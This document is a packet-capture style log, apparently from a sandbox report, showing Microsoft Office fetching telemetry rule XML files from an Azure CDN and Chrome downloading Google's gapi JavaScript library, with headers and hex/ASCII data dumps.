2024-11-13 13:41:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7cdefebb-b01e-0070-2ca7-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-r178fb8d765tllwdhC1DFWaz84000000012000000000ghsz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49747	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:18 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-r178fb8d7656shmjhC1DFWu5kw00000001700000000015b4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49748	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:18 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-16547b76f7ftdm8dhC1DFWs13g0000000h1g00000000khew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49749	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:18 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a5d3a887-701e-0050-40a7-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-r178fb8d765d5f82hC1DFWsrm8000000014000000000dn2t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:19 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49751	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:19 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134119Z-16547b76f7f7scqbhC1DFW0m5w0000000gzg00000000g2p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:19 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49754	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:19 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: aa8338a3-a01e-0021-72a2-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134119Z-r178fb8d765d5f82hC1DFWsrm8000000019g000000000d0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:19 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49753	142.250.185.78	443	7752	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:19 UTC	729	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 13:41:19 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 13 Nov 2024 10:00:18 GMT Expires: Thu, 13 Nov 2025 10:00:18 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 13261 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-13 13:41:19 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-13 13:41:19 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
